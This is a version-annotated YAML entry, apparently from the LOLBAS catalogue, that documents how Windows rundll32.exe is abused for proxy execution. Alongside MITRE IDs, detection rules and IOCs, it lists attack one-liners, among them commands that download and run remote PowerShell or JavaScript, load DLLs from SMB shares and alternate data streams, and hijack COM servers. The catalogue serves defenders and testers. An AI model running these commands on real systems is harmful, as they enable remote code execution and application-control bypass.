2018-06-09 00:15:06 +02:00
|
|
|
---
|
|
|
|
Name: Rundll32.exe
|
2018-09-24 21:59:43 +02:00
|
|
|
Description: Used by Windows to execute dll files
|
|
|
|
Author: 'Oddvar Moe'
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2018-05-25
|
2018-06-09 00:15:06 +02:00
|
|
|
Commands:
|
|
|
|
- Command: rundll32.exe AllTheThingsx64,EntryPoint
|
2018-09-24 21:59:43 +02:00
|
|
|
Description: AllTheThingsx64 would be a .DLL file and EntryPoint would be the name of the entry point in the .DLL file to execute.
|
|
|
|
Usecase: Execute dll file
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1218.011
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2024-04-03 17:53:36 +02:00
|
|
|
Tags:
|
|
|
|
- Execute: DLL
|
2020-03-18 15:20:50 +01:00
|
|
|
- Command: rundll32.exe \\10.10.10.10\share\payload.dll,EntryPoint
|
|
|
|
Description: Use Rundll32.exe to execute a DLL from a SMB share. EntryPoint is the name of the entry point in the .DLL file to execute.
|
|
|
|
Usecase: Execute DLL from SMB share.
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1218.011
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2024-04-03 17:53:36 +02:00
|
|
|
Tags:
|
|
|
|
- Execute: DLL
|
2021-12-14 17:50:22 +01:00
|
|
|
- Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');")
|
2018-06-09 00:15:06 +02:00
|
|
|
Description: Use Rundll32.exe to execute a JavaScript script that runs a PowerShell script that is downloaded from a remote web site.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Execute code from Internet
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1218.011
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
|
|
|
|
Description: Use Rundll32.exe to execute a JavaScript script that runs calc.exe.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Proxy execution
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1218.011
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
|
|
|
|
Description: Use Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Proxy execution
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1218.011
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
|
|
|
|
Description: Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Execute code from Internet
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1218.011
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-06-09 00:15:06 +02:00
|
|
|
- Command: rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain
|
|
|
|
Description: Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).
|
2018-09-24 21:59:43 +02:00
|
|
|
Usecase: Execute code from alternate data stream
|
2018-12-10 14:28:12 +01:00
|
|
|
Category: ADS
|
2018-09-24 21:59:43 +02:00
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2024-04-03 17:53:36 +02:00
|
|
|
Tags:
|
|
|
|
- Execute: DLL
|
2018-12-05 00:59:08 +01:00
|
|
|
- Command: rundll32.exe -sta {CLSID}
|
2024-04-03 17:53:36 +02:00
|
|
|
Description: Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.
|
2018-12-05 00:59:08 +01:00
|
|
|
Usecase: Execute a DLL/EXE COM server payload or ScriptletURL code.
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1218.011
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows 10 (and likely previous versions), Windows 11
|
2024-04-03 17:53:36 +02:00
|
|
|
Tags:
|
|
|
|
- Execute: DLL
|
2018-12-10 14:28:12 +01:00
|
|
|
Full_Path:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Path: C:\Windows\System32\rundll32.exe
|
|
|
|
- Path: C:\Windows\SysWOW64\rundll32.exe
|
|
|
|
Detection:
|
2023-10-18 17:30:34 +02:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml
|
2021-11-15 14:19:03 +01:00
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml
|
|
|
|
- IOC: Outbount Internet/network connections made from rundll32
|
|
|
|
- IOC: Suspicious use of cmdline flags such as -sta
|
2018-06-09 00:15:06 +02:00
|
|
|
Resources:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Link: https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/
|
|
|
|
- Link: https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7
|
|
|
|
- Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
|
|
|
|
- Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
|
2018-12-05 00:59:08 +01:00
|
|
|
- Link: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
|
2020-01-23 08:57:43 +01:00
|
|
|
- Link: https://github.com/sailay1996/expl-bin/blob/master/obfus.md
|
|
|
|
- Link: https://github.com/sailay1996/misc-bin/blob/master/rundll32.md
|
2021-11-15 14:19:03 +01:00
|
|
|
- Link: https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90
|
2022-08-24 12:11:31 +02:00
|
|
|
- Link: https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code
|
2018-09-24 21:59:43 +02:00
|
|
|
Acknowledgement:
|
|
|
|
- Person: Casey Smith
|
|
|
|
Handle: '@subtee'
|
2018-12-05 00:59:08 +01:00
|
|
|
- Person: Oddvar Moe
|
|
|
|
Handle: '@oddvarmoe'
|
|
|
|
- Person: Jimmy
|
|
|
|
Handle: '@bohops'
|
2020-01-23 08:57:43 +01:00
|
|
|
- Person: Sailay
|
|
|
|
Handle: '@404death'
|
2020-07-03 14:03:51 +02:00
|
|
|
- Person: Martin Ingesen
|
|
|
|
Handle: '@Mrtn9'
|